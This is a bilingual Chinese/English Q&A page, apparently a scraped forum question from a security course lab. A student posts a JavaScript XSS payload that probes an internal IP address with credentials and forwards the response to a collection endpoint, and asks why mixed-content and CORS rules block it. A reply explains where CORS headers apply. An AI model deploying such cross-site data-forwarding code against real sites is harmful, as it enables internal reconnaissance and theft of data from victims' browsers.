如何从 HTTPS 服务器获取 http 纯文本资源
我基本上是在尝试通过 xss 进行端口扫描，并且我正在尝试利用目标服务器的同源策略。我想我设置了适当的标题。我基本上需要以纯文本形式从目标服务器上的 Web 服务检索响应，并将其转发到我的消息接收端点。我想我设置了适当的标头来启用 cors，但我仍然得到混合内容块，并且没有对象转发到该端点。
let headers = new Headers();
headers.append('Content-Type', 'application/json');
headers.append('Accept', 'application/json');
headers.append('Origin','https://cs6262.gtisc.gatech.edu/');
fetch('http://172.16.238.10:80', {
mode: 'cors',
credentials: 'include',
method: 'POST',
headers: headers
})
.then(response => response.json())
.then(function (data) {
fetch('http://cs6262.gtisc.gatech.edu/receive/ndike6/572', { method: 'POST', body: data})
});
如果我误解了标头的用法，我将不胜感激。
I'm am basically attempting portscanning through xss and I am trying to exploit the same origin policy of my target server. I think I set the appropriate headers. I need to basically retrieve the response from a web service on the target server in plain text and forward it to my message receipt end point. I think I set the appropriate headers to enable cors but I still get the mixed content block and no object forwarded to that endpoint.
let headers = new Headers();
headers.append('Content-Type', 'application/json');
headers.append('Accept', 'application/json');
headers.append('Origin','https://cs6262.gtisc.gatech.edu/');
fetch('http://172.16.238.10:80', {
mode: 'cors',
credentials: 'include',
method: 'POST',
headers: headers
})
.then(response => response.json())
.then(function (data) {
fetch('http://cs6262.gtisc.gatech.edu/receive/ndike6/572', { method: 'POST', body: data})
});
If I am misunderstanding header usage I'd greatly appreciate the clarity
如果你对这篇内容有疑问，欢迎到本站社区发帖提问 参与讨论，获取更多帮助，或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱，如果其他用户或者作者回复了您的评论，将不能在第一时间通知您！
发布评论
评论（1）
首先，您必须注意访问控制标头应设置在处理请求的一侧（服务器端），而不是发送请求的一侧。
我假设您无权访问服务器并且无法自行设置这些标头。
其次，CORS 策略是在 WEB 浏览器中实现的，因此如果您尝试在非浏览器环境（例如 NodeJS）中执行此代码，您不会遇到问题。
另请注意，在 NodeJS 中，您没有 fetch api （它是 Web 浏览器的功能），但您有用于从后端发送 http 请求的库，例如 axios 或最近发布的与浏览器中的 fetch api 对应的 node-fetch 库。
Firstly, you have to notice that Access-Control headers should be set on the side which handles the request (server side), not on the side which sends the request.
I assume that you don't have access to server and can't set those headers by yourself.
Secondly, CORS policy is implemented in WEB Browsers, so if you try to execute this code in non browser environment (e.g. NodeJS) you won't have problems.
Also Notice that in NodeJS you don't have fetch api (it's web browser's feature), but you have libraries for sending http request from backend like axios or recently release node-fetch library that corresponds to fetch api in browsers.